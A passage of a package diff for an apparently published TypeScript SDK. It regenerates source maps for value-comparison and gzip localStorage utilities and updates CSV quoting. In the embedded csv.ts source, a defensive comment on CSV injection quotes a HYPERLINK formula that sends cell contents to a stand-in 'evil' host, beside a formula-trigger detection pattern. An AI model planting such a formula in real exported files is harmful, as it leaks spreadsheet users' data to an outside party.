\"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":";AAQA,IAAM,IAAgB,IAAI,KAAK,SAAS,KAAA,GAAW,EAAE,SAAS,GAAK,CAAC;AAmBpE,SAAgB,EAAc,GAAY,GAAoB;CAO1D,OANI,KAAK,QAAQ,KAAK,OAAa,IAC/B,KAAK,OAAa,KAClB,KAAK,OAAa,IAClB,OAAO,KAAM,YAAY,OAAO,KAAM,WAAiB,IAAI,IAC3D,aAAa,QAAQ,aAAa,OAAa,EAAE,QAAQ,IAAI,EAAE,QAAQ,IACvE,OAAO,KAAM,aAAa,OAAO,KAAM,YAAkB,OAAO,CAAC,IAAI,OAAO,CAAC,IAC1E,EAAc,QAAQ,OAAO,CAAC,GAAG,OAAO,CAAC,CAAC;AACrD"}
+{"version":3,"file":"compare-values.js","names":["TEXT_COLLATOR","compareValues","a","b"],"sources":["../../src/utils/compare-values.ts"],"sourcesContent":["/**\n * One collator for every string comparison a table sort makes.\n *\n * `localeCompare(other, undefined, { numeric: true })` builds a collator per\n * call — passing an options bag opts out of the engine's cached-default fast\n * path — and a sort makes O(n log n) of these. Measured at 200k comparisons:\n * 453 ms through `localeCompare` against 25 ms through a hoisted collator.\n */\nconst TEXT_COLLATOR = new Intl.Collator(undefined, { numeric: true });\n\n/**\n * Compare two arbitrary cell values with stable, type-aware ordering.\n *\n * The comparator every table in the SDK sorts with, so `DataTable` and\n * `VirtualTable` agree on what \"sorted\" means. The type-aware branches exist\n * because the naive `String(a) < String(b)` gets the two most common cases wrong:\n * numbers would sort `10` before `9`, and dates would sort by their formatted\n * text. Strings fall back to `localeCompare` with `numeric: true`, so `\"item 2\"`\n * lands before `\"item 10\"`.\n *\n * `null` and `undefined` sort first, together — a missing value is not smaller\n * than another missing value.\n *\n * @param a - First value.\n * @param b - Second value.\n * @returns Negative when `a < b`, positive when `a > b`, zero when equal.\n */\nexport function compareValues(a: unknown, b: unknown): number {\n    if (a == null && b == null) return 0;\n    if (a == null) return -1;\n    if (b == null) return 1;\n    if (typeof a === \"number\" && typeof b === \"number\") return a - b;\n    if (a instanceof Date && b instanceof Date) return a.getTime() - b.getTime();\n    if (typeof a === \"boolean\" && typeof b === \"boolean\") return Number(a) - Number(b);\n    return TEXT_COLLATOR.compare(String(a), String(b));\n}\n"],"mappings":";AAQA,IAAMA,IAAgB,IAAI,KAAK,SAAS,KAAA,GAAW,EAAE,SAAS,GAAK,CAAC;AAmBpE,SAAgBC,EAAc,GAAY,GAAoB;CAO1D,OANIC,KAAK,QAAQC,KAAK,OAAa,IAC/BD,KAAK,OAAa,KAClBC,KAAK,OAAa,IAClB,OAAOD,KAAM,YAAY,OAAOC,KAAM,WAAiBD,IAAIC,IAC3DD,aAAa,QAAQC,aAAa,OAAaD,EAAE,QAAQ,IAAIC,EAAE,QAAQ,IACvE,OAAOD,KAAM,aAAa,OAAOC,KAAM,YAAkB,OAAOD,CAAC,IAAI,OAAOC,CAAC,IAC1EH,EAAc,QAAQ,OAAOE,CAAC,GAAG,OAAOC,CAAC,CAAC;AACrD"}

package/dist/utils/compressed-storage.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"compressed-storage.cjs","names":[],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":"mFA4BA,IAAM,EAAS,SAiBf,SAAgB,EAAoB,EAAkB,CAClD,IAAM,EAAO,KAAK,UAAU,CAAK,EAC3B,GAAA,EAAQ,EAAA,SAAA,CAAS,IAAI,YAAY,CAAC,CAAC,OAAO,CAAI,CAAC,EACrD,MAAO,GAAG,IAAS,EAAA,cAAc,CAAK,GAC1C,CAcA,SAAgB,EAAwB,EAAgB,CACpD,GAAI,CAAC,EAAI,WAAW,CAAM,EAAG,OAAO,KAAK,MAAM,CAAG,EAClD,IAAM,GAAA,EAAQ,EAAA,WAAA,CAAW,EAAA,cAAc,EAAI,MAAM,CAAa,CAAC,CAAC,EAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAO,CAAK,CAAC,CACrD,CASA,IAAa,EAAuC,CAChD,UAAW,EACX,YAAa,CACjB,EAea,EAAiC,EAAA,kBAAkB,CAAsB"}
+{"version":3,"file":"compressed-storage.cjs","names":["gzipSync","bytesToBase64","gunzipSync","base64ToBytes","createJsonStorage","require_storage","require_base64","fflate","MARKER","compressToString","json","value","bytes","decompressFromString","raw","compressedStorageCodec","compressedStorage"],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":"A,mFA4BA,IAAMQ,EAAS,SAiBf,SAAgBC,EAAoB,EAAkB,CAClD,IAAMC,EAAO,KAAK,UAAUC,CAAK,EAC3BC,GAAA,EAAQZ,EAAAA,SAAAA,CAAS,IAAI,YAAY,CAAC,CAAC,OAAOU,CAAI,CAAC,EACrD,MAAO,GAAGF,IAASP,EAAAA,cAAcW,CAAK,GAC1C,CAcA,SAAgBC,EAAwB,EAAgB,CACpD,GAAI,CAACC,EAAI,WAAWN,CAAM,EAAG,OAAO,KAAK,MAAMM,CAAG,EAClD,IAAMF,GAAA,EAAQV,EAAAA,WAAAA,CAAWC,EAAAA,cAAcW,EAAI,MAAM,CAAa,CAAC,CAAC,EAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAOF,CAAK,CAAC,CACrD,CASA,IAAaG,EAAuC,CAChD,UAAWN,EACX,YAAaI,CACjB,EAeaG,EAAiCZ,EAAAA,kBAAkBW,CAAsB,E"}

package/dist/utils/compressed-storage.js.map

@@ -1 +1 @@
-{"version":3,"file":"compressed-storage.js","names":[],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":";;;;AA4BA,IAAM,IAAS;AAiBf,SAAgB,EAAoB,GAAkB;CAClD,IAAM,IAAO,KAAK,UAAU,CAAK,GAC3B,IAAQ,EAAS,IAAI,YAAY,CAAC,CAAC,OAAO,CAAI,CAAC;CACrD,OAAO,GAAG,IAAS,EAAc,CAAK;AAC1C;AAcA,SAAgB,EAAwB,GAAgB;CACpD,IAAI,CAAC,EAAI,WAAW,CAAM,GAAG,OAAO,KAAK,MAAM,CAAG;CAClD,IAAM,IAAQ,EAAW,EAAc,EAAI,MAAM,CAAa,CAAC,CAAC;CAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAO,CAAK,CAAC;AACrD;AASA,IAAa,IAAuC;CAChD,WAAW;CACX,aAAa;AACjB,GAea,IAAiC,EAAkB,CAAsB"}
+{"version":3,"file":"compressed-storage.js","names":["MARKER","compressToString","json","value","bytes","gzipSync","bytesToBase64","decompressFromString","raw","gunzipSync","base64ToBytes","compressedStorageCodec","compressedStorage","createJsonStorage"],"sources":["../../src/utils/compressed-storage.ts"],"sourcesContent":["import { gunzipSync, gzipSync } from \"fflate\";\n\nimport { base64ToBytes, bytesToBase64 } from \"./base64\";\n\nimport { createJsonStorage, type JsonStorage, type StorageCodec } from \"./storage\";\n\n/**\n * Gzip-backed `localStorage`, for payloads that would otherwise eat the quota.\n *\n * Kept in its own module rather than folded into {@link storage} so that\n * importing the plain typed wrapper never drags `fflate` into the bundle.\n *\n * @tempest-limits empty-catch — every operation here is best-effort by\n * contract, exactly like {@link storage}. `localStorage` throws on quota\n * exhaustion, in Safari private mode, and when a cross-origin frame has storage\n * blocked; a caller persisting state has no recovery to run and no message to\n * show, so the write is dropped and the value stays in memory for the session.\n */\n\n/**\n * Prefix stamped on every value this module writes.\n *\n * It makes the format self-describing, which is what lets a read fall back to\n * plain JSON: a key that predates compression — or that a degraded write stored\n * uncompressed — is still readable, so turning compression on for an existing\n * key does not orphan the data already there. The character also cannot open a\n * JSON document, so the two cases can never be confused.\n */\nconst MARKER = \"~tgz1:\";\n\n/**\n * Serialize a value to a gzipped, base64 string carrying the format marker.\n *\n * Base64 costs a third more characters than the raw compressed bytes, and\n * `localStorage` bills two bytes per character on top of that. Packing the\n * bytes into UTF-16 code units directly would be denser, but lone surrogates\n * survive neither every storage implementation nor a JSON round-trip, and a\n * save that decodes to garbage is far worse than one that is bigger. Even with\n * that overhead a typical JSON document lands well under a third of its\n * uncompressed size.\n *\n * @typeParam T - The value being stored.\n * @param value - Any JSON-serializable value.\n * @returns The encoded string, ready for `localStorage`.\n */\nexport function compressToString<T>(value: T): string {\n    const json = JSON.stringify(value);\n    const bytes = gzipSync(new TextEncoder().encode(json));\n    return `${MARKER}${bytesToBase64(bytes)}`;\n}\n\n/**\n * Decode a string produced by {@link compressToString}.\n *\n * A string without the marker is parsed as plain JSON, so values written before\n * compression was enabled — or by a write that fell back after `gzipSync`\n * failed — still read back.\n *\n * @typeParam T - The expected value shape.\n * @param raw - The stored string.\n * @returns The decoded value.\n * @throws If the payload is neither valid compressed data nor valid JSON.\n */\nexport function decompressFromString<T>(raw: string): T {\n    if (!raw.startsWith(MARKER)) return JSON.parse(raw) as T;\n    const bytes = gunzipSync(base64ToBytes(raw.slice(MARKER.length)));\n    return JSON.parse(new TextDecoder().decode(bytes)) as T;\n}\n\n/**\n * Codec pair for {@link useLocalStorage}, so a compressed key gets the hook's\n * cross-tab sync and SSR guard for free.\n *\n * @example\n * const [save, setSave] = useLocalStorage(\"save\", EMPTY_SAVE, compressedStorageCodec);\n */\nexport const compressedStorageCodec: StorageCodec = {\n    serialize: compressToString,\n    deserialize: decompressFromString,\n};\n\n/**\n * Typed `localStorage` wrapper that gzips what it writes.\n *\n * {@link createJsonStorage} with {@link compressedStorageCodec}, so it is the\n * same implementation as {@link storage} and genuinely interchangeable with it —\n * `get`, `set` and `remove`, differing only in how the value is encoded. It used\n * to be a hand-written copy that had no `remove`, which made that promise false\n * for anybody who took the docstring at its word.\n *\n * When compression itself fails the value is written as plain JSON rather than\n * dropped: a slightly larger record still loads, an absent one does not. Only a\n * storage-level failure — quota, blocked storage — loses the write.\n */\nexport const compressedStorage: JsonStorage = createJsonStorage(compressedStorageCodec);\n"],"mappings":";;;;AA4BA,IAAMA,IAAS;AAiBf,SAAgBC,EAAoB,GAAkB;CAClD,IAAMC,IAAO,KAAK,UAAUC,CAAK,GAC3BC,IAAQC,EAAS,IAAI,YAAY,CAAC,CAAC,OAAOH,CAAI,CAAC;CACrD,OAAO,GAAGF,IAASM,EAAcF,CAAK;AAC1C;AAcA,SAAgBG,EAAwB,GAAgB;CACpD,IAAI,CAACC,EAAI,WAAWR,CAAM,GAAG,OAAO,KAAK,MAAMQ,CAAG;CAClD,IAAMJ,IAAQK,EAAWC,EAAcF,EAAI,MAAM,CAAa,CAAC,CAAC;CAChE,OAAO,KAAK,MAAM,IAAI,YAAY,CAAC,CAAC,OAAOJ,CAAK,CAAC;AACrD;AASA,IAAaO,IAAuC;CAChD,WAAWV;CACX,aAAaM;AACjB,GAeaK,IAAiCC,EAAkBF,CAAsB"}

package/dist/utils/csv.cjs

@@ -1,4 +1,4 @@
-const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}function a(e,t){return e.includes(t)||e.includes(`"`)||e.includes(`
-`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function o(e,t){return e==null?``:typeof e==`number`||typeof e==`bigint`||typeof e==`boolean`?String(e):e instanceof Date?e.toISOString():t?i(String(e)):String(e)}function s(e,n,r={}){let{delimiter:i=`,`,bom:s=!0,neutralizeFormulas:c=!0}=r,l=[n.map(e=>a(o(e.header,c),i)).join(i)];for(let t of e){let e=n.map(e=>a(o(e.csv?e.csv(t):t[e.key],c),i));l.push(e.join(i))}return`${s?t:``}${l.join(`\r
-`)}`}async function c(t,n,r=`export.csv`,i={}){let a=new Blob([s(t,n,i)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(a,r)}exports.downloadCsv=c,exports.toCsv=s;
+const e=require("../share/share-or-download.cjs");var t=``,n=/^[=+\-@\t\r]/,r=/^[+-]?(?:\d+(?:[.,]\d+)*|\d*[.,]\d+)(?:e[+-]?\d+)?$/i;function i(e){return e===`-`||r.test(e)?e:n.test(e)?`'${e}`:e}var a=/[,;\t]/;function o(e,t,n){return e.includes(t)||n&&a.test(e)&&!r.test(e)||e.includes(`"`)||e.includes(`
+`)||e.includes(`\r`)?`"${e.replaceAll(`"`,`""`)}"`:e}function s(e,t){return e==null?``:typeof e==`number`||typeof e==`bigint`||typeof e==`boolean`?String(e):e instanceof Date?e.toISOString():t?i(String(e)):String(e)}function c(e,n,r={}){let{delimiter:i=`,`,bom:a=!0,neutralizeFormulas:c=!0}=r,l=[n.map(e=>o(s(e.header,c),i,c)).join(i)];for(let t of e){let e=n.map(e=>o(s(e.csv?e.csv(t):t[e.key],c),i,c));l.push(e.join(i))}return`${a?t:``}${l.join(`\r
+`)}`}async function l(t,n,r=`export.csv`,i={}){let a=new Blob([c(t,n,i)],{type:`text/csv;charset=utf-8`});await e.shareOrDownloadBlob(a,r)}exports.downloadCsv=l,exports.toCsv=c;
 //# sourceMappingURL=csv.cjs.map

package/dist/utils/csv.cjs.map

@@ -1 +1 @@
-{"version":3,"file":"csv.cjs","names":[],"sources":["../../src/utils/csv.ts"],"sourcesContent":["/**\n * @tempest-limits param-count — `downloadCsv(rows, columns, \"usuarios.csv\")` reads\n * in the order the sentence does, and its two trailing parameters have defaults,\n * so the common call passes three. Wrapping them in an object would break every\n * caller of a published export for no gain in what the call site says.\n */\n// CSV that survives contact with real data. Every app writes this by hand and\n// every hand-written version gets the same two things wrong: a value containing\n// the delimiter splits the row, and a value containing a quote breaks the quoting\n// it was supposed to be protected by. Both are one-liners in RFC 4180 and neither\n// is obvious until a customer's name has a comma in it.\n\nimport { shareOrDownloadBlob } from \"../share/share-or-download\";\n\n/**\n * Byte order mark, as the character `String.prototype` sees it.\n *\n * Excel on a pt-BR install reads a BOM-less UTF-8 file as Latin-1 and turns\n * every accented name into mojibake. It is three bytes to avoid a support\n * ticket, so it is on by default.\n */\nconst BOM = \"\\uFEFF\";\n\n/** One column of the exported file. */\nexport interface CsvColumn<T> {\n    /** Property of the row this column reads from. Doubles as the column key. */\n    key: keyof T;\n    /** Column heading, written to the first line. */\n    header: string;\n    /**\n     * Value for the file. Defaults to `String(row[key])`, with nullish becoming an\n     * empty field.\n     *\n     * A `DataTableColumn` renders cells to `ReactNode`, which cannot be written to\n     * a text file — a badge or a link would serialize as `[object Object]`. Give\n     * the column this accessor and the export says what the badge said.\n     */\n    csv?: (row: T) => string | number | boolean | null | undefined;\n}\n\n/** Options for {@link toCsv}. */\nexport interface CsvOptions {\n    /**\n     * Field separator. Default `\",\"`.\n     *\n     * Use `\";\"` for Excel on a locale whose decimal separator is the comma —\n     * which is every pt-BR install — otherwise it opens the file in one column.\n     */\n    delimiter?: \",\" | \";\";\n    /** Prefix the output with a UTF-8 BOM. Default `true`. */\n    bom?: boolean;\n    /**\n     * Prefix `'` to every text field that a spreadsheet would read as a formula.\n     * Default `true`.\n     *\n     * A field starting with `=`, `+`, `-`, `@`, TAB or CR is a formula start by the\n     * OWASP list (Excel and Google Sheets read it so; LibreOffice 26.2 evaluated only\n     * `=`), and opening the file evaluates it: a name typed\n     * as `=HYPERLINK(\"https://evil/?d=\"&A1,\"ver\")` turns into a link that exfiltrates\n     * other cells (OWASP \"CSV Injection\"). Measured on LibreOffice 26.2: `=1+2` was\n     * imported as the formula `of:=1+2` with value `3`. The default is the safe one\n     * because the BOM and the `;` delimiter already aim the file at a spreadsheet,\n     * and because the app that exports rarely controls every value in it.\n     *\n     * Numbers are never prefixed: a `number` cell, or a text field that is only a\n     * number (`\"-5\"`, `\"-1.234,56\"`, `\"+42\"`, `\"1e-7\"`), cannot be a formula, and\n     * neither can a lone `\"-\"`, which is left alone too. Pass\n     * `false` when the file feeds another system's importer rather than a person's\n     * spreadsheet, so the bytes round-trip unchanged.\n     */\n    neutralizeFormulas?: boolean;\n}\n\n/** First characters that make a spreadsheet read a field as a formula (OWASP). */\nconst FORMULA_TRIGGER = /^[=+\\-@\\t\\r]/;\n\n/**\n * A text field that is only a number, in either decimal convention.\n *\n * These start with `-` or `+` but cannot be formulas, and prefixing them would\n * turn every negative amount in a report into text.\n */\nconst PLAIN_NUMBER = /^[+-]?(?:\\d+(?:[.,]\\d+)*|\\d*[.,]\\d+)(?:e[+-]?\\d+)?$/i;\n\n/**\n * Neutralize a text field a spreadsheet would evaluate.\n *\n * Two shapes are exempt from the OWASP trigger list: a plain number (see\n * {@link PLAIN_NUMBER}) and a lone `-`, the usual \"no value\" placeholder in a\n * report. A lone operator has no operand, so no spreadsheet can evaluate it, and\n * prefixing it printed `'-` in LibreOffice 26.2 where `-` read as text.\n *\n * Measured on LibreOffice 26.2 headless (`--infilter=\"CSV:59,34,76,1\"`) without\n * the prefix: `=1+2` was a formula; `+55 (11) 99999-9999`, `@maria`, a TAB before\n * `=`, a space before `=` and a quoted newline before `=` all stayed text. The\n * list is kept whole anyway — Excel and Google Sheets read `+`, `-`, `@` and TAB\n * as formula starts, and that is what OWASP's list is for. A space or newline\n * before `=` is not added: it read as text, not as a formula.\n *\n * @param value - The already-stringified field.\n * @returns The field with a leading `'` when it would read as a formula.\n */\nfunction neutralizeFormula(value: string): string {\n    if (value === \"-\" || PLAIN_NUMBER.test(value)) return value;\n    return FORMULA_TRIGGER.test(value) ? `'${value}` : value;\n}\n\n/**\n * Quote one field per RFC 4180.\n *\n * A field is quoted when it contains the delimiter, a double quote, or a line\n * break; inside a quoted field, each double quote is doubled. Fields that need\n * none of this are written bare, which keeps the common file readable.\n *\n * @param value - The already-stringified field.\n * @param delimiter - The separator in use, which decides part of the quoting.\n * @returns The field, quoted if it has to be.\n */\nfunction escapeField(value: string, delimiter: string): string {\n    const mustQuote =\n        value.includes(delimiter) ||\n        value.includes('\"') ||\n        value.includes(\"\\n\") ||\n        value.includes(\"\\r\");\n    if (!mustQuote) return value;\n    return `\"${value.replaceAll('\"', '\"\"')}\"`;\n}\n\n/**\n * Stringify one cell, keeping the difference between \"no value\" and \"zero\".\n *\n * `null` and `undefined` become an empty field; `0` and `false` are values\n * somebody chose and are written out. Getting this backwards is how an export\n * ends up under-reporting every row that legitimately holds a zero.\n *\n * Text — a string, or anything else stringified — goes through the formula\n * neutralization when it is on; numbers, bigints and booleans never do, since none\n * of them can stringify to a formula.\n *\n * @param value - The raw cell value.\n * @param neutralize - Whether to neutralize a formula-looking text field.\n * @returns The text to write.\n */\nfunction cellText(value: unknown, neutralize: boolean): string {\n    if (value === null || value === undefined) return \"\";\n    if (typeof value === \"number\" || typeof value === \"bigint\" || typeof value === \"boolean\") {\n        return String(value);\n    }\n    if (value instanceof Date) return value.toISOString();\n    return neutralize ? neutralizeFormula(String(value)) : String(value);\n}\n\n/**\n * Serialize rows to CSV text, RFC 4180 style.\n *\n * Rows are separated by `\\r\\n` — the RFC's terminator and the one Excel is least\n * surprised by. Text that a spreadsheet would evaluate as a formula is written\n * with a leading `'` unless `neutralizeFormulas` is `false` (see\n * {@link CsvOptions.neutralizeFormulas}). A row is emitted for the header even when `rows` is empty, so the\n * person who opens the file sees which columns they asked for instead of a blank\n * document.\n *\n * @example\n * const csv = toCsv(users, [\n *     { key: \"name\", header: \"Nome\" },\n *     { key: \"email\", header: \"E-mail\" },\n *     { key: \"plan\", header: \"Plano\", csv: (user) => user.plan.label },\n * ]);\n *\n * @param rows - The rows to export.\n * @param columns - Columns, in the order they should appear.\n * @param options - Delimiter, BOM and formula neutralization.\n * @returns The complete file contents.\n */\nexport function toCsv<T>(\n    rows: readonly T[],\n    columns: readonly CsvColumn<T>[],\n    options: CsvOptions = {},\n): string {\n    const { delimiter = \",\", bom = true, neutralizeFormulas = true } = options;\n\n    const lines = [\n        columns\n            .map((column) => escapeField(cellText(column.header, neutralizeFormulas), delimiter))\n            .join(delimiter),\n    ];\n\n    for (const row of rows) {\n        const cells = columns.map((column) => {\n            const raw = column.csv\n                ? column.csv(row)\n                : (row as Record<string, unknown>)[column.key 